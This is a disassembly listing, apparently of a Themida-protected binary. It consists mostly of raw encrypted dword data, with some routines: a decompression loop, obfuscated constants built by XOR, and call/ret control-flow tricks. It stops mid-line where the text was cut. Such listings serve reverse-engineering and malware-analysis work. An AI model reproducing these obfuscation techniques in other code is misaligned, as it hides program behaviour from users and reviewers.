0E40DED8Dh dd 29263207h, 0E40EA58Dh, 0F902B207h, 8CE9h, 1D860F00h dd 60000000h, 10E9h, 987BA500h, 3ED2A770h, 0AE380F4Ch dd 95337C87h, 0B19D897Ch, 6107E406h, 60FCC232h, 68D0Fh dd 0DF810000h, 27FFFD2h, 3BC78166h, 7A056111h, 298A751Dh dd 0E42AE195h, 85B58907h, 8A07E409h, 850B60CCh, 7E4140Dh dd 0FCC8D361h, 0D1084235h, 14E998h, 6A2C0000h, 7712847Dh dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 0CAFE6346h, 10E9h dd 0A435DE00h, 2C3B319Eh, 3D253766h, 0A1672D0Ch, 0FD20A55h dd 0FFFF8F85h, 0C800FFFh, 0F000000h, 687h, 0A9853100h dd 4B07E40Bh, 11E9h, 0CE67A400h, 0E7BA6760h, 821D5FA5h dd 89967BEBh, 146C0CDh, 0E41CD59Dh, 68E0F07h, 31000000h dd 0E40D898Dh, 0FDB0B07h, 0FFFF1885h, 0E800FFFh, 60000000h dd 159D8Bh, 870F07E4h, 0 dd 11E9CF61h, 72000000h, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah dd 4D1D4049h, 8E9h, 959BE500h, 8B892C74h, 29000066h, 0E420C995h dd 0FC000007h, 66600000h, 22BAC781h, 8D0F6061h, 3, 66D0BF0Fh dd 0A0E5DF81h, 0F9000061h, 3BDC858Dh, 12E907E4h, 91000000h dd 878261E5h, 0D88300h, 6C81D8EAh, 73FFA96Ch, 81BD8987h dd 8907E400h, 0E41E3985h, 6E907h, 9CF70000h, 0CB4BE497h dd 4061858Dh, 89FC07E4h, 0E423AD85h, 14EB07h, 3 dup(0) dd 0E4000000h, 8D000000h, 0E443C885h, 0AD858907h, 8307E418h dd 0E44300BDh, 840F0007h, 12Bh, 2C2D85C6h, 0E85607E4h dd 4, 0D41F6D39h, 24448B50h, 89008B04h, 58042444h, 19DB5FFh dd 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F4h, 2C2D85C6h dd 0E85607E4h, 4, 9CA8B852h, 24448B50h, 89008B04h, 58042444h dd 19DB5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F8h dd 7C68046Ah, 8170F240h, 507C2434h, 858B70F2h, 7E44304h dd 1F405h, 2E0C100h, 6A905090h, 0F895FF00h, 8907E442h dd 0E442FC85h, 0B8D88B07h, 0FFFFFFFFh, 18AD95FFh, 0C38B07E4h dd 18AD95FFh, 84E907E4h db 3 dup(0) ; --------------------------------------------------------------------------- loc_586853: ; DATA XREF: Themida_:00583D38o cmp dword ptr [ebp+7E44300h], 0 jnz loc_586861 retn ; --------------------------------------------------------------------------- loc_586861: ; CODE XREF: Themida_:0058685Aj push edi mov edi, [ebp+7E442FCh] stosd add dword ptr [ebp+7E442FCh], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E44300h], 0 jnz loc_586880 retn ; --------------------------------------------------------------------------- loc_586880: ; CODE XREF: Themida_:00586879j pusha sub dword ptr [ebp+7E442FCh], 4 loc_586888: ; CODE XREF: Themida_:loc_5868D2j mov ebx, [ebp+7E442FCh] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_5868B5 push 11A3F31h xor dword ptr [esp], 11ABF31h push 0 push dword ptr [ebx] call dword ptr [ebp+7E442F4h] popa retn ; --------------------------------------------------------------------------- jmp loc_5868D2 ; --------------------------------------------------------------------------- loc_5868B5: ; CODE XREF: Themida_:00586892j push 494F9D4h xor dword ptr [esp], 49479D4h push 0 push dword ptr [ebx] call dword ptr [ebp+7E442F4h] sub dword ptr [ebp+7E442FCh], 4 loc_5868D2: ; CODE XREF: Themida_:005868B0j jmp loc_586888 ; --------------------------------------------------------------------------- dec eax jmp loc_586A8A ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_5868E9: ; CODE XREF: Themida_:loc_586901j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_5868F4: ; CODE XREF: Themida_:0058697Fj ; Themida_:005869E7j ... add dl, dl jnz loc_586901 mov dl, [esi] inc esi adc dl, dl loc_586901: ; CODE XREF: Themida_:005868F6j jnb loc_5868E9 add dl, dl jnz loc_586914 mov dl, [esi] inc esi adc dl, dl loc_586914: ; CODE XREF: Themida_:00586909j jnb loc_586984 xor eax, eax add dl, dl jnz loc_586929 mov dl, [esi] inc esi adc dl, dl loc_586929: ; CODE XREF: Themida_:0058691Ej jnb loc_586A59 add dl, dl jnz loc_58693C mov dl, [esi] inc esi adc dl, dl loc_58693C: ; CODE XREF: Themida_:00586931j adc eax, eax add dl, dl jnz loc_58694B mov dl, [esi] inc esi adc dl, dl loc_58694B: ; CODE XREF: Themida_:00586940j adc eax, eax add dl, dl jnz loc_58695A mov dl, [esi] inc esi adc dl, dl loc_58695A: ; CODE XREF: Themida_:0058694Fj adc eax, eax add dl, dl jnz loc_586969 mov dl, [esi] inc esi adc dl, dl loc_586969: ; CODE XREF: Themida_:0058695Ej adc eax, eax jz loc_586977 push edi sub edi, eax mov al, [edi] pop edi loc_586977: ; CODE XREF: Themida_:0058696Bj mov [edi], al inc edi mov ebx, 2 jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_586984: ; CODE XREF: Themida_:loc_586914j mov eax, 1 loc_586989: ; CODE XREF: Themida_:loc_5869A5j add dl, dl jnz loc_586996 mov dl, [esi] inc esi adc dl, dl loc_586996: ; CODE XREF: Themida_:0058698Bj adc eax, eax add dl, dl jnz loc_5869A5 mov dl, [esi] inc esi adc dl, dl loc_5869A5: ; CODE XREF: Themida_:0058699Aj jb loc_586989 sub eax, ebx mov ebx, 1 jnz loc_5869EC mov ecx, 1 loc_5869BD: ; CODE XREF: Themida_:loc_5869D9j add dl, dl jnz loc_5869CA mov dl, [esi] inc esi adc dl, dl loc_5869CA: ; CODE XREF: Themida_:005869BFj adc ecx, ecx add dl, dl jnz loc_5869D9 mov dl, [esi] inc esi adc dl, dl loc_5869D9: ; CODE XREF: Themida_:005869CEj jb loc_5869BD push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_5869EC: ; CODE XREF: Themida_:005869B2j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5869FA: ; CODE XREF: Themida_:loc_586A16j add dl, dl jnz loc_586A07 mov dl, [esi] inc esi adc dl, dl loc_586A07: ; CODE XREF: Themida_:005869FCj adc ecx, ecx add dl, dl jnz loc_586A16 mov dl, [esi] inc esi adc dl, dl loc_586A16: ; CODE XREF: Themida_:00586A0Bj jb loc_5869FA cmp eax, 7D00h jnb loc_586A49 cmp eax, 500h jb loc_586A40 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_586A40: ; CODE XREF: Themida_:00586A2Cj cmp eax, 7Fh ja loc_586A4C loc_586A49: ; CODE XREF: Themida_:00586A21j add ecx, 2 loc_586A4C: ; CODE XREF: Themida_:00586A43j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_586A59: ; CODE XREF: Themida_:loc_586929j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_586A7E adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_586A7E: ; CODE XREF: Themida_:00586A61j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_586A8A: ; CODE XREF: Themida_:005868D8j mov edx, 929h jmp loc_587467 ; --------------------------------------------------------------------------- dd 0C26CD903h, 0ADE14B36h, 5C8B9782h, 971CBED6h, 0B5D308B9h dd 0F874504Dh, 7A314728h, 9AFEC71h, 0CF6CFF5Eh, 0A5ED093Dh dd 0FD98090h, 0D21BACC7h, 0D6BC43B6h, 0EC7E5A3Dh, 283D4635h dd 0FADEC71h, 0CF6CFC51h, 0B8F20927h, 11D99F8Ah, 0C500B2DBh dd 0B5D74DA2h, 0E8691609h, 7A705735h, 0FB8A270h, 0D66CEA45h dd 0B8F34621h, 0D79F84h, 63h dup(0) dd 0CB6CD903h, 0BEFD473Ch, 0CD9808Ah, 0C508B0CCh, 0B39600BAh dd 0EF3B450Ch, 287F4623h, 0EB4ED62h, 0D33EB854h, 0A4FD473Dh dd 1290D282h, 0C200A69Eh, 0A2C54DA9h, 0E07E421Eh, 581C2968h dd 13A0E768h, 0D36CB455h, 0ABFB453Dh, 890D281h, 0D81DB99Eh dd 0BEDB4DB6h, 0F4695900h, 6C7F4266h, 13A4F024h, 0D23EF944h dd 0BFFB5073h, 0E89D297h, 0D61DB8D1h, 43B6h, 48h dup(0) dd 0C56CD903h, 0A1F74821h, 0FDE8080h, 0D800AB9Eh, 0BADE4DB7h dd 0E879161Eh, 6E314D23h, 4AFF76Bh, 0C839EA10h, 0ADFA403Dh dd 5C979BC5h, 0C51AB0C7h, 0A8CF1EFBh, 0A3765319h, 64412E4Ch dd 5B2E361h, 0C839B81Ch, 0AEF5463Fh, 5C8D9BC5h, 0DA00ADD8h dd 0B6D300FBh, 0AD624402h, 28754D27h, 14B2E776h, 8638EA51h dd 0B8E1462Ah, 138B82C5h, 0DA0EADD9h, 0F5h, 61h dup(0) dd 0CA25DE03h, 0A5F70936h, 0C8C8097h, 960BBACAh, 0B3E24DF5h dd 0FD3B4504h, 7A764C34h, 8E1EF65h, 0C46CEB51h, 0EAFA4C36h dd 15979388h, 0D603AACEh, 0FBD208AFh, 0AD7F580Ch, 6A68422Bh dd 9CC8861h, 863FBF44h, 0AFF2473Ah, 189C8686h, 9716BD9Eh dd 0B2E04DBAh, 0AD68431Fh, 6B315129h, 0BA2E376h, 8662FC55h dd 0B9FD4107h, 109094C5h, 0D818FFDBh, 0FBC24AB5h, 0E669591Ah dd 717F4266h, 5B3ED69h, 1Eh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_587467: ; CODE XREF: Themida_:00586A8Fj jmp loc_589FA0 ; --------------------------------------------------------------------------- sub edx, 659F12B1h cld or [ebp+7E42B61h], edx mov eax, eax mov ebx, [ebp+7E40B1Dh] cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_587493 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5874A6 loc_587493: ; CODE XREF: Themida_:00587488j push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+7E6E892h] call ebx ; _iob pop ebx pop eax loc_5874A6: ; CODE XREF: Themida_:00587491j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5874C0 push eax push ebx mov eax, 1 lea ebx, [ebp+7E6E743h] call ebx ; _iob pop ebx pop eax loc_5874C0: ; CODE XREF: Themida_:005874ADj and ebx, [ebp+7E42039h] add [ebp+7E42629h], edi mov eax, eax push 0 push esi call sub_5874D9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5874D9 proc near ; CODE XREF: Themida_:005874D1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5874D9 endp ; --------------------------------------------------------------------------- xor byte ptr [edx], 0CFh adc al, 0F0h xchg eax, ebp sti fisub word ptr [esi-7Fh] retn ; --------------------------------------------------------------------------- dd 0BD838363h, 7E40ECDh, 0FA840F00h, 66000000h, 0BD83DA8Bh dd 7E41CDDh, 0EA840F00h, 66000000h, 0EEAED381h, 95852960h dd 8B07E41Fh, 0E41CDD85h, 0E805F507h, 89000003h, 0E40D9995h dd 66609007h, 61CD37BAh, 0BE950h, 0EBA80000h, 0E72B1B69h dd 53BCFF0Ch, 958B9046h, 7E41625h, 4FC3858Dh, 0F48A07E4h dd 575390F5h, 5A5AFE8Ah, 90FA8A50h, 198C0Fh, 14E90000h dd 0FD000000h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh dd 8B33D67Dh, 0A1858DD1h, 0BB07E44Fh, 1056CC38h, 10E990h dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0B750E8F5h dd 0BA669089h, 95FF395Dh, 7E42169h, 0C483D78Bh, 4195290Ch dd 8D07E418h, 0E44FA185h, 459D8B07h, 5007E40Fh, 800F5250h dd 6, 880Fh, 310F0000h, 585ADF8Bh, 6A240489h, 68E0F02h dd 89000000h, 0E41FED8Dh, 1495FF07h, 0FC006AEDh, 0FB75761h dd 0D485C75Bh, 107E44Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E5CBC353h dd 3B0884C3h, 8A0F7F35h, 2, 830F66B7h, 6, 2ED9958Bh, 579607E4h dd 0AE960h, 5EA40000h, 578C159Ah, 0DB13866Fh, 8B505A61h dd 6A96D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0B62B3CC3h, 16A50C35h, 12E9h, 0A56F8C00h dd 0FEA14E57h, 4C68524Fh, 4E647691h, 3134150h, 0E4275595h dd 85B58907h, 0F07E44Fh, 58Eh, 0E9A5BA00h, 0BD8349AAh dd 7E42015h, 68850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 77D4C355h dd 1881958Bh, 0BA6607E4h, 0F8838761h, 38850F05h, 8B000000h dd 0B8D1h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 79C1B7C3h, 0F4DA1608h, 89D590CAh dd 0E426899Dh, 9D850907h, 8307E42Fh, 0E40AC5BDh, 840F0007h dd 94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h dd 23C35747h, 6A608D83h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 9E50C351h, 4CBF60h dd 0BD892CBDh, 7E405D5h, 0C595FF61h, 6A07E40Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 60AEC350h, 1EB4007h, 12E86173h, 9D000000h, 0B39B1B39h dd 27962158h, 0CBEFBBBBh, 0DEF0F7C5h, 67C3805Ch, 952B615Bh dd 7E41AADh, 6B9BD83h, 0F0007E4h, 3784h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0F5872D2Ch, 8B529ADDh, 0B8D0h, 9E90000h, 0A8000000h dd 0E5617ED9h, 4462B871h, 8B62B260h, 0E41EB585h, 83FD8A07h dd 0CA8102C0h, 2DC1918h, 4F7D8589h, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0CE3528C3h dd 188D0Fh, 0CE80000h, 6000000h, 0FF808A05h, 44681A80h dd 89B38904h, 0E42C0D9Dh, 0C65A07h, 0DE8FFh, 314C0000h dd 77A46C99h, 0B9460AE8h, 0E9D5C0AFh, 0Eh, 0AC3E32A9h dd 0A425CCEAh, 82F747CEh, 0C65A1A4Dh, 0E42C2D85h, 958B5307h dd 7E40DDDh, 1A121768h, 0A8E0FD2h, 60000000h, 820Fh, 61600000h dd 24048161h, 2A9736C1h, 13959D89h, 0B5FF07E4h, 7E42141h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 90C35747h dd 0DCB81E6h, 8D72E13Eh, 0E7B0A785h, 88F0F07h, 0F000000h dd 280h, 0FF616000h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0E9D98B6Fh, 8, 2EC002BEh dd 6329EBE8h, 0E418589h, 0BA6607E4h, 0BD83F55Dh, 7E40B11h dd 0F7850F01h, 0B7000000h, 9D8B61A6h, 7E42541h, 2DCD8501h dd 85C607E4h, 7E42C2Dh, 65953345h, 8907E41Ch, 0E422359Dh dd 4E807h, 38C20000h, 13E8DA60h, 0EE000000h, 0C96407B4h dd 1D8B3E4Bh, 0D460E516h, 0B782B194h, 0BB664D6Eh, 505A1AF4h dd 5820Fh, 8ABA0000h, 8B2F6218h, 50042444h, 2EBB6652h dd 66310FA2h, 5A20CCBAh, 60008B58h, 28F0Fh, 61600000h dd 0D774FBB9h, 44896155h, 1CBB0424h, 5802C27Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B5C35040h, 8BB30F6Dh dd 41B5FFD7h, 8B07E421h, 0E4229595h, 0A7858D07h, 6A07E7B0h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6014C357h, 0AAC98166h, 0B1B589E9h, 6107E413h dd 0D0FF41B3h, 6A33D780h, 119D3100h, 0F07E40Ah, 0D0FFD0BFh dd 2CC3EB81h, 0BD832EE8h, 7E403C9h, 0E7850F01h, 66000000h dd 0E940DA81h, 1EB5858Bh, 10E907E4h, 51000000h, 9035E212h dd 23591956h, 2F1BEDDEh, 0E8280E65h, 8, 481247h, 0B0D9C2FAh dd 251958Bh, 0E95A07E4h, 90h, 1CF59D8Bh, 505007E4h, 97BA6652h dd 8B310FFDh, 89585ADAh, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 86D175C3h, 3D4CB49Dh dd 0DA81C76Dh, 25DF612Bh, 0EFAFBB66h, 6A146Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 942C31C3h, 570B97A9h, 0F620BE4h, 481h, 40BA6600h, 4195FF5Ah dd 107E40Eh, 0E40B8995h, 8B0F5807h, 6, 20218D31h, 0F1B307E4h dd 0F003880h, 0FFFF6D85h, 8D8D89FFh, 0C607E40Eh, 0BD890100h dd 7E40FA1h, 35819D8Bh, 0E96107E4h, 12h, 0AA62018h, 2D08B6D4h dd 6F18324Bh, 83306511h, 0BD837008h, 7E40069h, 37840F00h dd 0E9000000h, 0Dh, 0AD82975Ah, 53A3867Fh, 4CEA2C7Fh, 8C0F1Bh dd 6A000000h, 319531FFh, 0FF07E426h, 0E40E4195h, 48D0F07h dd 52000000h, 0E95A6160h, 0FFFFFFE3h, 85C7DF8Bh, 7E40069h dd 1, 0AEE28166h, 898589BAh, 8B07E44Fh, 665390D6h, 505BD68Bh dd 2DBA5250h, 0F1715EBh, 2EBA6631h, 90585A34h, 10E85751h dd 78000000h, 4D4D8775h, 7F6C7A8Bh, 59B350Fh, 5BB004CDh dd 66605A5Ah, 890283BEh, 0E4258D85h, 8B606107h, 0E4090595h dd 7E907h, 773B0000h, 9BD8B4C9h, 6A056A5Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1E1C352h dd 958B5289h, 7E40A8Dh, 0A1858D5Bh, 8B07E44Fh, 0E401C195h dd 85958B07h, 5007E414h, 89D98B66h, 8D892404h, 7E40701h dd 4F91858Dh, 870F07E4h, 6, 6819D8Bh, 509007E4h, 13E8h dd 80489200h, 65C51CDh, 0C127CC0Ch, 33B55D49h, 55846EFCh dd 5B5B6160h, 10E850h, 0C5F40000h, 8C77B1Ah, 97F48D04h dd 0D02C8DACh, 0BA57782Eh, 51E124D0h, 6A905A5Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0C396C356h, 13AD95FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 5E7ACDC3h, 8B3D9990h dd 0E4272D95h, 0C08D8D07h, 8907E47Ah, 0E41E99B5h, 74C00B07h dd 0A1858D11h, 5007E44Fh, 8589D1FFh, 7E44FBFh, 85C70AEBh dd 7E44FBFh, 0FFFFFFFFh, 6850Fh, 0B5290000h, 7E42E05h dd 0E98D0961h, 0C607E431h, 0E42C2D85h, 8D294D07h, 7E41BADh dd 35BBC068h, 81DE8B27h, 0BAE82404h, 9D8B7CFFh, 7E40B1Dh dd 0E432BB66h, 1D89B5FFh, 810F07E4h, 1, 0A7858DF5h, 5607E7B0h dd 12C18589h, 8B5A07E4h, 0BAD0FFDFh, 46AE3D13h, 21618589h dd 950B07E4h, 7E421DDh, 2C2D85C6h, 6A4507E4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 23CCC355h, 9D950B23h, 6807E41Bh, 0CC444797h, 5890Fh dd 0C4BA0000h, 814B1C26h, 2EFE2434h, 0EA814236h, 60AA13CBh dd 2141B5FFh, 958907E4h, 7E42451h, 0B0A7858Dh, 0BB6607E7h dd 0D0FF8321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 35C35141h, 63540764h, 958BF9C0h, 7E40595h, 8589F78Ah dd 7E41665h, 25F38166h, 6AD28BFFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B34C350h dd 0E40E3D9Dh, 0D98C6607h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0A3C35040h, 0E8AE7EFCh, 0Fh, 0FE6426C0h dd 0B217D114h, 0D092D63Ah, 0F0A0A54h, 68Fh, 0DDB52900h dd 5B07E42Bh, 0F04C1F6h, 25484h, 85316000h, 7E40065h, 0A44DCB81h dd 0E9611881h, 12Ch, 38A0Fh, 8B660000h, 39B58BD9h, 6A07E42Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 1346C352h, 662B0B9Bh, 81ABC381h, 5840Fh dd 81660000h, 81B7D5DAh, 1180C6h, 0E9535000h, 5, 412A9947h dd 0E95A5AA5h, 7, 92B60ECBh, 83FC63F0h, 0E4038DBDh, 850F0007h dd 0Eh, 0E9DBE280h, 9Ch, 15AD9D8Bh, 3E8307E4h, 8D840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0D2F1C350h, 0DFB34198h, 55006A60h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0AEBA66A0h, 0BB146AE2h, 4A1528DAh, 0E4195FFh, 896007E4h dd 0E4218D8Dh, 61BD8B07h, 6107E41Dh, 259FBB66h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 95CCBAAAh, 0D919D8Bh, 6BE907E4h, 0FCFFFFFFh, 106C7h dd 850F0000h, 0Eh, 5D958B60h, 0F07E416h, 8Bh, 0DC8A6100h dd 4F89BD83h, 0F0507E4h, 10885h, 699D8B00h, 8B07E414h dd 0E41665B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E6104E24h, 7D9D2BC1h dd 0F07E423h, 64B9D2B7h, 8B000000h, 0E42BE59Dh, 0E83E8007h dd 49840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9523C3C3h, 7E426B9h, 2DE9DE8Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0D937C352h, 8019D413h, 0FC2057Eh dd 6084h, 0DEB70F00h, 5890F46h, 0BA000000h, 427D6C58h dd 8E850F49h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4B6EC350h, 0BF0F6E85h dd 8B6651D2h, 0EE85BD3h, 0AD000000h, 0C4E6894h, 99F4FF14h dd 795056C9h, 1870F29h, 0FC000000h, 0FE95Ah, 0B70F0000h dd 71B589DEh, 8907E435h, 0E414E9BDh, 9D035807h, 7E41519h dd 0DB5BD83h, 0F0007E4h, 9684h, 8800F00h, 56000000h, 209D9589h dd 605A07E4h, 89B6CE80h, 0E405258Dh, 2D85C607h, 5407E42Ch dd 6860Fh, 0F2810000h, 4AD0EC3Fh, 0E429A768h, 4359BB81h dd 48109FAh, 6A954D24h, 8D8D897Dh, 0FF07E421h, 0E42141B5h dd 6D858907h, 8D07E422h, 0E7B0A785h, 7D9D0307h, 0FF07E420h dd 0D19529D0h, 6A07E404h, 12E900h, 9F8C0000h, 937E7B53h dd 412C6C41h, 6491CA57h, 0AE2369A3h, 0DB5B5FFh, 0BD8907E4h dd 7E42F7Dh, 9501D0FFh, 7E413B1h, 2DBD0961h, 0C707E416h dd 0E4061185h, 107h, 3D958900h, 0F07E431h, 0F60D2B7h, 0E068D0BFh dd 669F646Ah, 817CF2BAh, 95A02404h, 0B70F609Bh, 0E9FF6AD7h dd 7, 3107F7B2h, 0FF355042h, 0E4160195h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 2961CFD9h, 0E40F7595h, 0BB665007h, 4897E54h, 1D958B24h dd 8B07E40Ah, 0E415A985h, 6DBB6607h, 0FC00BB1h, 3B84h dd 8E900h, 0C5590000h, 39FD1F6Dh, 95FF543Bh, 7E40049h dd 35958B60h, 0E807E42Bh, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh dd 0E9C702EFh, 0A9010129h, 2918589h, 615A07E4h, 141185C7h dd 107E4h, 0BE80000h, 0FE000000h, 283E9696h, 28D71151h dd 8C0FD8A0h, 2, 835ADE8Bh, 0E43231BDh, 840F0007h, 1Ah dd 3890Fh, 0BF0F0000h, 0F19D23DBh, 0FF07E417h, 0E40B1995h dd 0E2816607h, 0BD83B69Eh, 7E419B9h, 0F840F00h, 0BA000000h dd 739D36F6h, 0D6195FFh, 0BA6607E4h, 0BD830909h, 7E42519h dd 42840F00h, 0F000000h, 0BD83DABFh, 7E43345h, 32850F00h dd 66000000h, 0FFD583BAh, 0E4224995h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5BC25CEDh, 339884D3h, 0DF80B4D1h, 0A9BD8316h, 7E407h dd 40840Fh, 0FD8A0000h, 14798581h, 400307E4h, 0DF800000h dd 0ED8581B5h, 307E40Eh, 6A000040h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 34C9C353h dd 31513109h, 0E40AF9B5h, 310F5B07h, 2A69952Bh, 8D8D07E4h dd 7E45E49h, 0C8C0Fh, 860F0000h, 6, 850Fh, 1890000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0ED694517h dd 89D2B02Ch, 0E42BD9BDh, 57C23307h, 5ADA8B66h, 66044189h dd 0A7E9D381h, 6A310Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8E948C3h, 0DB000000h, 0A39D2FE3h dd 8DB45870h, 0E45E568Dh, 0B99D8907h, 8907E403h, 0C2816601h dd 0BB665266h, 0C2333E7Ah, 44189F9h, 14F3CA81h, 0BD832562h dd 7E421CDh, 1B840F00h, 0FF000000h, 0E4180195h, 0AE907h dd 2E8E0000h, 8D28BA4Eh, 4AD57650h, 0D7D8509h, 0BD8307E4h dd 7E41DF1h, 77850F01h, 9000000h, 0E41C4D85h, 6CE907h dd 8BF90000h, 0E45F6AB5h, 6C707h, 8B000000h, 0E45DA8B5h dd 6C707h, 0CF000000h, 6ADABF0Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1357C357h dd 1F7E4FDAh, 7D9D31C4h, 0E807E401h, 5, 27915FC9h, 10E8CCh dd 0EFE40000h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0C28117BFh dd 7B660292h, 0BD835B5Bh, 7E41411h, 9D840F00h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 7698C357h, 17D5958Bh, 4EB207E4h, 1C81BD83h dd 0F0107E4h, 15885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 950B0339h, 7E4356Dh, 8D8BB1B7h dd 7E44F7Dh, 6870Fh, 9D310000h, 7E419C5h, 6A0001C6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 9351C350h, 65B58922h, 6007E403h, 6E8h, 665D0000h dd 8BB96606h, 0E40A299Dh, 8B665B07h, 0A2C68D1h, 52506815h dd 0D287E3BAh, 66310F01h, 5A4505BAh, 24348158h, 68150AACh dd 6ADABF0Fh, 0E1B529FFh, 0FF07E429h, 0E4160195h, 34E2BA07h dd 95316A8Bh, 7E40229h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 92A377C5h, 958BCDFBh dd 7E40749h, 6850Fh, 85310000h, 7E41C7Dh, 300595FFh, 6A07E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 398CF7C3h, 7E30CA14h, 8166607Ah, 895529D3h, 0E400F985h dd 0F2816107h, 527B5D38h, 4F7D8D8Bh, 6A07E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A0AE7BC3h dd 78F6BFAEh, 6810FD6h, 8B000000h, 0E423759Dh, 8101FE07h dd 2FEB56F2h, 0C9BD8313h, 107E419h, 6850Fh, 9D2B0000h dd 7E420F5h, 27B6C08Bh, 13F1BD83h, 750007E4h, 35BD8309h dd 7E409h, 53501A74h, 858BC08Bh, 7E41479h, 14798589h, 9D8D07E4h dd 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h, 8B535018h dd 0E4147985h, 79858907h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h dd 0C88EBB58h, 0B70F6881h, 0E9C08BDBh, 0Fh, 1B0E560Fh dd 24481636h, 7A31AF90h, 83C073AAh, 0E41411BDh, 850F0007h dd 